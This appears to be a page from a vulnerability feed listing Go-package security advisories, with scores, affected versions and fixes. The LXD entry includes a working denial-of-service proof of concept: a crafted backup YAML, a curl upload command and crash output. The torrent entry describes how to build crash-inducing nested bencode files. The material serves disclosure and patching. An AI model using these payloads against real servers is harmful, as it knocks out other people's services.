CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- >= 2.4.0, < 2.4.2 · fixed in 2.4.2 (and 2 older branches)
- Weakness
- CWE-248
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 16, 2026 · first seen here 1 h ago
CVSS score: 7.1 Severity: High Identifier: CVE-2026-116683GHSA-VG84-C5MG-76XH CTFer.io's CTFd Terraform Provider allows a local or remote attacker to read team passwords in state as non sensitive values Package: github.com/ctfer-io/terraform-provider-ctfd/v2 fixed in 2.8.2 Published Published
CTFer.io's CTFd Terraform Provider manages CTFd resources as code. From 0.1.5 until 2.8.2, ctfd_team.password is stored as a non-sensitive value in Terraform state. A local or remote user with access to that state can read the team password without an additional decryption step. This issue is fixed in 2.8.2.
- Exploitation
- No known exploitation
- EPSS
- 0.53% chance of exploitation in the next 30 days, higher than 37.9% of CVEs
- CVSS
- 7.1 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- < 2.8.2 · fixed in 2.8.2
- Weakness
- CWE-522
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 27, 2026 · first seen here 1 h ago
CVSS score: 7.0 Severity: High Identifier: CVE-2026-121716GHSA-W6X2-F5M4-XW82 fzf: Arbitrary command execution via bash arithmetic expansion on unvalidated layout size in fzf-tmux (-l/-u attached value) Package: github.com/junegunn/fzf fixed in 0.74.5 Published Published
fzf is a command-line fuzzy finder. Prior to 0.74.5, bin/fzf-tmux validates separately supplied layout sizes but does not validate attached -l and -u layout values before Bash arithmetic expansion, allowing command substitution in a crafted operand to execute as the invoking user during option parsing. The same validation failure lets space-bearing popup geometry options -x, -y, -w, -h, and -p reach an unquoted tmux popup option string and inject additional tmux flags. Exploitation requires less-trusted project configuration, a wrapper, or a plugin to supply the poisoned value and requires the victim to invoke fzf-tmux; normal values are usually trusted, and the script has been superseded by built-in tmux options. This issue is fixed in version 0.74.5.
- Exploitation
- No known exploitation
- EPSS
- 0.19% chance of exploitation in the next 30 days, higher than 4.8% of CVEs
- CVSS
- 7.0 out of 10 · source NVD (github.com)
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Versions
- <= 0.74.4 · fixed in 0.74.5
- Weakness
- CWE-78
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 17, 2026 · first seen here 1 h ago
CVSS score: 6.9 Severity: Medium Identifier: CVE-2026-116586GHSA-VVM8-GF78-28G4 Go JOSE: Panics in JSON parsing Package: github.com/go-jose/go-jose/v4 fixed in 4.1.5 Published Published
Summary
Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash.
Note: this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4.
Impact
Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed.
Workarounds
Reject large inputs before parsing them.
Acknowledgements
Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this.
- Exploitation
- No known exploitation
- EPSS
- 0.36% chance of exploitation in the next 30 days, higher than 21.9% of CVEs
- CVSS
- 6.9 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Versions
- < 4.1.5 · fixed in 4.1.5
- Weakness
- CWE-674
- Linked via
- ecosystem package
- Sources
- GitHub · CERT-FR
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 6.9 Severity: Medium Identifier: CVE-2026-116585GHSA-4W3G-JFJ2-CW2Q Go JOSE: Panic during CBC-HMAC processing Package: github.com/go-jose/go-jose/v4 fixed in 4.1.5 Published Published
Summary
Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input.
Note this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4.
Details
Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292.
Workarounds
If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact.
Impact
Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected.
Acknowledgements
Thanks to Joshua Rogers of AISLE Research for reporting this problem.
- Exploitation
- No known exploitation
- EPSS
- 0.33% chance of exploitation in the next 30 days, higher than 18.8% of CVEs
- CVSS
- 6.9 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Versions
- < 4.1.5 · fixed in 4.1.5
- Weakness
- CWE-129
- Linked via
- ecosystem package
- Sources
- GitHub · CERT-FR
- Dates
- published Oct 28, 2026 · first seen here 1 h ago
CVSS score: 6.8 Severity: Medium Identifier: CVE-2026-58208GHSA-P957-7V2W-G93G NATS Server: MQTT-over-WebSocket Path Can Crash WebSocket-Only JetStream Servers Before MQTT Is Enabled Package: github.com/nats-io/nats-server/v2 fixed in 2.14.3 (+1 branch) Published Published
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.
The NATS Server can accept client connections over WebSocket and can also support MQTT over WebSocket when MQTT is configured.
Problem Description
A WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured.
On affected deployments, an unauthenticated client with access to the WebSocket listener could reach uninitialized MQTT state and crash the server process.
This affects deployments that enable WebSocket while leaving MQTT disabled. Deployments where MQTT is intentionally configured initialize the MQTT state and are not affected in the same way.
Affected Versions
Versions v2.14.2, v2.12.11 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.12.
Workarounds
Deployments not using WebSocket are not affected. Deployments using both WebSockets and MQTT are not affected. No known workaround for deployments that need WebSocket without MQTT-over-WebSocket. Upgrade to a fixed release.
References
- GHSA advisory: https://github.com/nats-io/nats-server/security/advisories/GHSA-p957-7v2w-g93g
- Credit: Vasco Franco, Trail of Bits
- Exploitation
- No known exploitation
- EPSS
- 0.60% chance of exploitation in the next 30 days, higher than 42.8% of CVEs
- CVSS
- 6.8 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H - Versions
- >= 2.14.0-RC.1, < 2.14.3 · fixed in 2.14.3 (and 1 older branch)
- Weakness
- CWE-248
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 1 h ago
CVSS score: 6.6 Severity: Medium Identifier: CVE-2026-75506GHSA-VC6P-M6VX-6CWQ OliveTin: Second-Order OS Command Injection via shellAfterCompleted Package: github.com/olivetin/olivetin fixed in 0.0.0-20260728155752-e5d29b68da66 Published Published
OliveTin gives safe and simple access to predefined shell commands from a web interface. From 3000.0.0 until 3000.18.1, OliveTin passes attacker-influenceable output and ot_username values into shellAfterCompleted processing in service/internal/executor/executor.go without applying checkShellArgumentSafety, the shell-safety validation used for primary action execution. The same post-execution template path also expands exitCode without that validation, but the advisory does not establish attacker control of the exit-code value. When an action configures shellAfterCompleted with output or ot_username, shell metacharacters from command output, external data processed by an action, or a trusted-header username can become syntax in the command executed by the stepExecAfter path. This can execute arbitrary commands as the OliveTin process user, including when the primary action uses the safer exec-array mode. This issue is fixed in version 3000.18.1.
- Exploitation
- No known exploitation
- EPSS
- 0.87% chance of exploitation in the next 30 days, higher than 56.4% of CVEs
- CVSS
- 6.6 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H - Versions
- < 0.0.0-20260728155752-e5d29b68da66 · fixed in 0.0.0-20260728155752-e5d29b68da66
- Weakness
- CWE-74, CWE-78
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 18, 2026 · first seen here 1 h ago
CVSS score: 6.5
Severity: Medium
Identifier: CVE-2026-59818GHSA-3WH4-J44W-PG92
etcd: CRL enforcement bypass on gRPC listener when --listen-client-http-urls is configured
Package: go.etcd.io/etcd/v3 fixed in 3.6.13 (+1 branch)
Published Published
New
Impact
What kind of vulnerability is it? Who is impacted?
When etcd is configured with --listen-client-http-urls to split the HTTP and gRPC client endpoints onto separate listeners, the --client-crl-file Certificate Revocation List is not enforced on the gRPC listener. A client presenting a revoked certificate is correctly rejected by the HTTP endpoint but continues to authenticate successfully over gRPC.
Patches
Has the problem been patched? What versions should users upgrade to?
This vulnerability is patched in the following versions:
- etcd 3.6.13
- etcd 3.5.32
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading is not immediately possible, reduce exposure by restricting network access to etcd client ports using firewall rules or network policy so that only trusted components can reach the server. This limits the pool of clients that could exploit a revoked certificate but does not enforce CRL revocation.
Reporter
Luis Toro (@lobuhi on Github)
- Exploitation
- No known exploitation
- EPSS
- 0.32% chance of exploitation in the next 30 days, higher than 17.3% of CVEs
- CVSS
- 6.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N - Versions
- >= 3.6.0-alpha.0, < 3.6.13 · fixed in 3.6.13 (and 1 older branch)
- Weakness
- CWE-295
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 24, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-85737GHSA-9QQ5-422F-33C2 Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin Package: www.velocidex.com/golang/velociraptor fixed in 0.77.2 Published Published
Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.
- Exploitation
- No known exploitation
- EPSS
- 0.41% chance of exploitation in the next 30 days, higher than 27.5% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Versions
- <= 0.77.1 · fixed in 0.77.2
- Weakness
- CWE-862
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 6, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-9639GHSA-J93M-3J9P-M5M8 LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at Package: github.com/canonical/lxd fixed in 0.0.0-20260622081844-85f897013ccd Published Published
Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
if snap == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
err = drivers.ValidVolumeName(snap.Name)
...
}
// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
...
// Line 8216 — UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
| Line | Code | Guarded? |
|---|---|---|
| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1558-1559 | srcSnap.ExpiresAt | YES |
| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
| 5527-5528 | srcSnap.ExpiresAt | YES |
| 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
EntitlementCanCreateStorageVolumesentitlement on any project. Same auth gate as CVE-2026-40197. POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-LXD-name: <name>.- Body is a tar containing
backup/index.yamlwithtype: custom,volumes[0]non-nil, andvolumes[0].snapshots[0]non-nil but missingexpires_at. lxd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) ->*snapshot.ExpiresAton line 8216 panics on the nil*time.Time.- The Go runtime kills the entire
lxddaemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omitted
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
Impact
- Severity: denial of service against the entire
lxddaemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_storage_volumeson any project. Not behind the admin tier. - Network attack surface: the LXD REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: confirmed at
lxd 6.8(HEAD); the same code exists in the v5.21 LTS line as the parent fix05bc272was a cherry-pick from incus.
Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}
Related advisories
GHSA-r7w7-mmxr-47r9(CVE-2026-40197) / commit05bc272(cherry-pick of incus985a1dedf) — parent fix: addeds == nilchecks at multiple consumer sites, missed the*snapshot.ExpiresAtderef at line 8216.lxc/incus GHSA-xhqx-mgh3-3h7q(sibling report filed by same reporter against the upstream-equivalent lineinternal/server/storage/backend.go:7731in incus).
The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
- Exploitation
- No known exploitation
- EPSS
- 0.55% chance of exploitation in the next 30 days, higher than 39.5% of CVEs
- CVSS
- 6.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Versions
- < 0.0.0-20260622081844-85f897013ccd · fixed in 0.0.0-20260622081844-85f897013ccd
- Weakness
- CWE-476
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-108262GHSA-9HQ4-HM3J-JMPH DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885 Package: github.com/ddev/ddev fixed in 1.25.4 Published Published
DDEV is an open-source tool for running local web development environments for PHP and Node.js. From 1.25.2 until 1.25.4, Untar in pkg/archive/archive.go validates an absolute tar symlink target after rebasing it beneath dest, but creates the symlink with the raw absolute Linkname. A crafted archive can therefore plant a host-absolute symlink and use a following regular-file entry to write outside the extraction directory. The flaw is reachable through remote add-on retrieval and database or file imports, and overwriting shell startup files, Git hooks, or cron entries can lead to code execution in the DDEV user's context. Unzip is not affected. This issue is fixed in version 1.25.4.
- Exploitation
- No known exploitation
- EPSS
- 0.47% chance of exploitation in the next 30 days, higher than 33.1% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Versions
- < 1.25.4 · fixed in 1.25.4
- Weakness
- CWE-22, CWE-59
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 6, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-102943GHSA-5M6C-38R8-5W76 Dagu MCP DAG specification read bypasses path containment and workspace isolation Package: github.com/dagu-org/dagu/v2 fixed in 2.11.0 Published Published
Dagu is a workflow engine with a built-in Web user interface. Prior to version 2.11.0, its MCP dagu_read operation with target dag_spec invokes the DAG specification API directly, bypassing the HTTP middleware introduced for CVE-2026-33344. The underlying resolver does not restrict resolved paths to configured DAG directories. An authenticated attacker with a viewer-role API key can supply an absolute or traversing path to read .yaml or .yml files outside those directories that are accessible to the Dagu process. The affected operation does not provide write or execution capability. This issue is fixed in version 2.11.0.
- Exploitation
- No known exploitation
- EPSS
- 0.60% chance of exploitation in the next 30 days, higher than 42.5% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Versions
- <= 2.10.7 · fixed in 2.11.0
- Weakness
- CWE-22, CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-88985GHSA-R4MX-2GR2-8277 Kubeflow Pipelines: SQL injection through unvalidated pagination tokens in Kubeflow Pipelines API server Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260403210607-ac3a4c65677a Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.17.0, the API server trusts structural SQL identifier fields decoded from the base64-encoded JSON page_token parameter before constructing list queries. An attacker who can invoke an affected pipeline or run list API can inject through KeyFieldName or SortByFieldName, including v1beta1 and v2beta1 run-listing metric paths, and read data available to the API server database account across namespaces. Database modification is not established. This issue is fixed in version 2.17.0.
- Exploitation
- No known exploitation
- EPSS
- 0.45% chance of exploitation in the next 30 days, higher than 31.2% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Versions
- < 0.0.0-20260403210607-ac3a4c65677a · fixed in 0.0.0-20260403210607-ac3a4c65677a
- Weakness
- CWE-89
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: CVE-2026-77463GHSA-56X6-Q882-MF27 Remark42: Rate limit bypass via unconditional trust of X-Forwarded-For/X-Real-IP headers in direct-internet deployment Package: github.com/umputun/remark42/backend fixed in 1.16.2 Published Published
Remark42 is a self-hosted comment engine for blogs, articles, or any other place where readers can add comments. From 1.0.0 until 1.16.2, Remark42 globally trusts True-Client-IP, X-Real-IP, and X-Forwarded-For without verifying that the direct peer is a trusted proxy, and middleware.RealIP overwrites r.RemoteAddr before per-IP controls run. In a directly reachable deployment, or a proxy that forwards attacker-controlled headers, a remote attacker can rotate spoofed forwarding headers to obtain fresh token buckets for rate-limited endpoints, bypass vote de-duplication when --votes-ip is enabled, mint anonymous identities, and poison stored comment IPs and request logs. The global concurrent-request throttle and per-request timeouts still limit availability impact. Mitigation support is available in version 1.16.2, but operators must configure --trusted-proxy for the deployment topology.
- Exploitation
- No known exploitation
- EPSS
- 0.32% chance of exploitation in the next 30 days, higher than 17.4% of CVEs
- CVSS
- 6.5 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Versions
- >= 1.0.0, < 1.16.2 · fixed in 1.16.2
- Weakness
- CWE-348, CWE-807
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 1 h ago
CVSS score: 6.5 Severity: Medium Identifier: GHSA-2WRX-84QJ-4PCG anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS Package: github.com/anacrolix/torrent fixed in 1.61.1-0.20260911233437-76452a2c8a2f Published Published
Summary
anacrolix/torrent's bencode decoder (bencode/) applies no limit on the nesting depth of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted .torrent file or from metadata obtained from a peer on a magnet-link/v2 download:
- Stack-overflow process crash.
Decoder.readOneValuerecurses once per nesting level with no depth bound. A.torrentwhoseinfovalue is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverablefatal error: stack overflow. 2. Quadratic CPU exhaustion.metainfo.FileTree.UnmarshalBencode(BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.
Affected: every application embedding github.com/anacrolix/torrent that ingests attacker-supplied metainfo - the CLI tools (cmd/torrent, cmd/torrent2), any server that opens .torrent files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.
Vulnerability Details
All file:line references are against the pinned commit 4ad31c5170787215c51c6ddaa54abc06b623c11c.
Root cause - no recursion/depth limit in the bencode decoder
bencode/decode.go implements three independently unbounded recursive parsers. There is no depth counter and no MaxDepth/nesting guard anywhere in bencode/ or metainfo/.
Defect 1 - readOneValue recursion (bencode/decode.go:546-549)
case 'd', 'l':
// read until there is nothing to read
for d.readOneValue() {
} // <- recurses once per nested dict/list level, unbounded
readOneValue is invoked by Decoder.parseUnmarshaler (bencode/decode.go:591) whenever a decoded field implements bencode.Unmarshaler, which includes bencode.Bytes - the type of MetaInfo.InfoBytes (metainfo/metainfo.go:17). So decoding a normal .torrent routes the entire info value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting l a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a fatal error - it is not a recoverable panic, so the recover() in Decoder.Decode (bencode/decode.go:35-55) cannot intercept it, and the whole process terminates.
Entry points that reach readOneValue with attacker-controlled bytes:
metainfo.Load(metainfo/metainfo.go:35) /metainfo.LoadFromFile(metainfo.go:50) - decoding a.torrentfile; theinfovalue becomes abencode.Bytesunmarshaler field.Client.AddTorrent/Client.AddTorrentFromFile->metainfo.LoadFromFile(client.go:1776insideAddTorrentFromFile), andTorrentSpec.InfoBytes->setInfoBytesLocked->bencode.Unmarshal(b, &info)(torrent.go:638) - peer-fetched metadata.
For the remote-peer path (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to setInfoBytesLocked once complete (torrent.go:1874). The accepted metadata size is capped at maxMetadataSize = 16 MiB (global.go:18), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened .torrent.
Defect 2 - FileTree.UnmarshalBencode recursive re-parse (metainfo/file-tree.go:42-49)
for key, bytes := range dir {
var sub FileTree
err = sub.UnmarshalBencode(bytes) // <- recurses once per file-tree level, and each call re-runs
// bencode.Unmarshal over its entire subtree
FileTree implements bencode.Unmarshaler (file-tree.go:53), so the file tree field of a v2 info dict (metainfo/info.go:33) routes through it. Each level calls sub.UnmarshalBencode, which starts with bencode.Unmarshal(bytes, &dir) over the whole remaining subtree. A file tree nested D levels deep therefore performs O(D) bencode.Unmarshal calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.
Reachability: any bencode.Unmarshal into metainfo.Info, including the peer-metadata path setInfoBytesLocked (torrent.go:638) for a magnet/v2 download, and MetaInfo.UnmarshalInfo (metainfo/metainfo.go:61-64).
Sanitizers / existing limits that do NOT apply
Decoder.MaxStrLen(bencode/decode.go:787-791, default 128 MiB) bounds a single string value; it is never consulted byreadOneValue(decode.go:564doesio.CopyN(&d.buf, d.r, length)with noMaxStrLencheck) and does not bound dict/list nesting depth.- The existing fuzzers (
bencode/fuzz_test.go) only round-tripinterface{}values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.
Impact
- Denial of service / availability (complete process crash). A single ~8 MB
.torrentfile, or ~8 MB of metadata from a malicious peer, crashes the embedding application withfatal error: stack overflow(Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies. - Denial of service / availability (CPU starvation). A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).
Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - global.go:18) or a local user opening a malicious .torrent. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative UI:R). Headline CVSS 3.1 base CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes N, raising it to 7.5. CWE-674 (Uncontrolled Recursion) is the precise root cause for Defect 1; CWE-407 (Inefficient Algorithmic Complexity) covers Defect 2.
Per-metric justification (headline 6.5 vector, UI:R):
- Attack Vector (AV): Network - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a
.torrentfile opened by any client of the library; no local access required. - Attack Complexity (AC): Low - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment.
- Privileges Required (PR): None - feeding metainfo to the decoder is the unprivileged, public API usage.
